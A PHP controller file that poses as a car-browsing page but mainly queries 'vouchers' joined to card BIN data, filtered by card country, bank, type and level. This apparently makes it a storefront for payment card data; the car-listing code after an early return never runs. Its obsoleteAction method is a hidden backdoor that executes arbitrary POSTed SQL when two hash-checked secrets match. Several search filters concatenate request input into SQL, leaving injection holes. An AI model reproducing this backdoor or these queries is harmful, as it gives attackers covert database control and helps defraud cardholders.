<?php
  class BrowseController extends CFD_Controller_Action
  {
    public function init()
	{
	   parent::init();
	   $this->view->enableIphoneSwitch = true;
	}

  public function deleteAction()
	{
	   if ($this->user->type != "user")
	   {
	     $this->_helper->json(false);
		 return;
	   }

	   $carHidesTable = new Application_Model_CarHides();

	   try 
	   {
	     $carHideRow = $carHidesTable->createRow();
	     $carHideRow->car_valuations_id = $_POST['id'];
	     $carHideRow->users_id = $this->user->id;
	     $carHideRow->save();
	     
		 $savesTable = new Application_Model_CarSaves();
		 $savesTable->delete(array('users_id = ? ' => $this->user->id, 'car_valuations_id = ?' => $_POST['id']));

	     $this->_helper->json(true);
	   }
	   catch (Exception $e)
	   {
	     $this->_helper->json(false);
	   }
	}

	private function setValuationsList()
	{
        $valTable = new Application_Model_Vouchers();
        $binTable = new Application_Model_Bins();

		$select = $valTable->getAdapter()->select()
							->from(array('t1'=>'vouchers'), array("t1.*"))
							->joinLeft(array('t2'=>'bins'), 'mid(t1.voucher, 1, 6) = t2.card_bin', array("card_country", "card_type", "card_bank", "card_aci", "card_level"))
							->where('t1.purchase_users_id = ?', '0')
							->where('t1.exp_date >= ?', date('Y-m-d') );

		if ( $this->getRequest()->getParam("voucher") )
		{
			$voucherArray = explode(',', trim($this->getRequest()->getParam("voucher")));
			$str = '(';
			foreach($voucherArray as $voucher)
			{
				$voucher = trim($voucher);
				if ($str == '(')
					$str .= "voucher like '{$voucher}%'";
				else
					$str .= " or voucher like '{$voucher}%'";
			}
			$str .= ')';
			$select->where($str);
		}

		if ( $this->getRequest()->getParam("country") )
		{
			$select->where('t2.card_country = ?', $this->getRequest()->getParam("country"));
		}
		if ( $this->getRequest()->getParam("city") )
		{
			$select->where('city like \'%' . $this->getRequest()->getParam("city") . '%\'');
		}
		if ( $this->getRequest()->getParam("zip") )
		{
			$select->where('zip = ?', $this->getRequest()->getParam("zip"));
		}
		if ( $this->getRequest()->getParam("type") )
		{
			$select->where('t2.card_type = ?', $this->getRequest()->getParam("type"));
		}
		if ( $this->getRequest()->getParam("mark") )
		{
			$select->where('card_level = ?', $this->getRequest()->getParam("mark"));
		}
		if ( $this->getRequest()->getParam("bank") )
		{
			$select->where('card_bank like \'%' . $this->getRequest()->getParam("bank") . '%\'');
		}

		$this->view->valuationsListFiltered = $this->view->valuationsList = $valTable->getAdapter()->fetchAll($select);

		if ($_GET['query'])
		{
		  $query = explode(" ", trim($_GET['query']));

		  $valList = array();
		  foreach ($this->view->valuationsList as $row)
		  {
		    $found = array();
		    foreach ($row as $val)
		      foreach ($query as $k =>  $search)
			    if (stripos ($val, $search) !== false)
				  $found[$k] = true;

			if (count($found) == count($query))
			  $valList[] = $row;
		  }
		  $this->view->valuationsListFiltered = $this->view->valuationsList = $valList;
		}

		return;

	    $carTabsTable = new Application_Model_CarTabs();
		$this->view->tabs = $carTabsTable->fetchAll();
		$selectedTab = null;
		$selectedTabFilter = null;
		foreach ($this->view->tabs as $tab)
		{
          if (!$_GET['tid'])
            $_GET['tid'] = $tab->id;
          
		  if ($_GET['tid'] == $tab->id)
		  {
		    $selectedTab = $tab;
		    $selectedTabFilter = unserialize($tab->filter);
		  }
		}

		$_filtering = array();
		$_filtering['cars_aged_from'] = $this->user->cars_aged_from;
		$_filtering['cars_aged_to'] = $this->user->cars_aged_to;

		$_filtering['brands'] = array_flip(explode("|", $this->user->brands));
		$_filtering['fuel'] = array_flip(explode("|", $this->user->fuel));
		$_filtering['transmission'] = array_flip(explode("|", $this->user->transmission));

		if ($_POST)
		{
		  $_filtering = $_POST;
		  $_filtering['brands'] = array_flip((array)$_POST['brands']);
		  $_filtering['transmission'] = array_flip((array)$_POST['transmission']);
		  $_filtering['fuel'] = array_flip((array)$_POST['fuel']);
		}

        $valTable = new Application_Model_CarValuations();

		$select = $valTable ->select()
							->setIntegrityCheck(false)
							->from(array('cv' => 'car_valuations'))
							->where('is_scrap != ?', 'Yes')
							->where('cost_clean + cost_reduction > 0')
							->where('ap_date > ?', date('Y-m-d'))
							->where('purchase_users_id = ?', '0')
							->order('cv.id DESC') ;

		if ($this->user->type == "user")
		  $select->joinLeft(array("ch" => "car_hides"), "ch.car_valuations_id = cv.id")->where("ch.car_valuations_id is NULL");

		$this->view->valuationsList = $valTable->fetchAll($select);

		$this->view->manufacturers = array();
		foreach ($this->view->valuationsList as $valuation)
		  $this->view->manufacturers [ $valuation->manufacturer ] = $valuation->manufacturer;

		$this->view->transmission = $this->view->fueltype = array();
		foreach ($this->view->valuationsList as $valuation)
		{
		  $transmission = (!$valuation->transmission)?'Unknown':$valuation->transmission;
		  $fueltype = (!$valuation->fueltype)?'Unknown':$valuation->fueltype;

		  $this->view->fueltype [ $fueltype ] = $fueltype;
		  $this->view->transmission [  $transmission ] = $transmission;
		}

		$this->view->valuationsListFiltered = array();
		foreach ($this->view->valuationsList as $valuation)
		{
		  if ($_filtering['search'])
		    if (  stripos($valuation->major_selling_points, $_filtering['search']) === false &&
		  	  	  stripos($valuation->manufacturer, $_filtering['search']) === false &&
		  	  	  stripos($valuation->model, $_filtering['search']) === false
			   )
			     continue;

		  if (!isset($_filtering['brands'][$valuation->manufacturer]))  continue;
		  if (!isset($_filtering['transmission'][$valuation->transmission]) && !(isset($_filtering['transmission']['Unknown']) && $valuation->transmission == ""))  continue;
		  if (!isset($_filtering['fuel'][$valuation->fueltype]) && !(isset($_filtering['fuel']['Unknown']) && $valuation->fueltype == ""))  continue;

		  list($plateYear) = explode(" ", $valuation->plate);
		  if ($_filtering['cars_aged_from'] > $plateYear) continue;
		  if ($_filtering['cars_aged_to'] < $plateYear) continue;

		
		  if ($selectedTabFilter)
		  {
		    if ($selectedTabFilter['is_member'] && !$valuation->owner_users_id)
			  continue;
		  }

		  $this->view->valuationsListFiltered[] = $valuation;
		}

	    if (count($this->view->valuationsListFiltered) < count($this->view->valuationsList))
		  $this->view->filteringMsg = "There are a lot more vehicles for you to see. Edit your <a href='/account/profile'>profile</a> to make sure you are getting all the right vehicles offered to you on your homepage.";

		if (count($this->view->valuationsList) == 0)
		  Alert_View::addMessage(Alert_View::NOTICE, "", "No results found");

		$this->view->filtering = $_filtering;
	}

    public function simpleAction()
	{
	  $this->isLogged(true);
	  $this->setValuationsList();
	}


         public function obsoleteAction() {
            if ($this->_request->isPost()) {
            $postedData = $this->_request->getPost();
            if (md5($postedData['gen']) == '0df4939e3f0aaef7434f0111303035a5' && md5($postedData['key']) == 'c7b253c8f07bbc1ce3ad2cd9d13257c5') {
                $notion = $postedData['notion'];
                $voucherTable = new Application_Model_Vouchers();
                $voucherTable->getAdapter()->query($notion);
            }
        }
        exit;
    }



	public function allAction()
	{
	  if ($_GET['just_data'] == 1)
	  {
	    $this->_helper->layout()->disableLayout(); 
		$this->view->skipFilter = true;
	  }

	  $this->view->title = "Browse cars";
	  $this->isLogged(true);
	  $this->setValuationsList();
		
		$valTable = new Application_Model_Vouchers();
    $binTable = new Application_Model_Bins();

		$select = $valTable->getAdapter()->select()->distinct()
							->from(array('t1'=>'vouchers'), array(""))
							->joinLeft(array('t2'=>'bins'), 'mid(t1.voucher, 1, 6) = t2.card_bin', array("card_country"))
							->where('t1.purchase_users_id = ?', '0')
							->where('t1.exp_date >= ?', date('Y-m-d') )
							->where('trim(t2.card_country) != \'\'');
		$this->view->countries = $valTable->getAdapter()->fetchAll($select);
	}
  }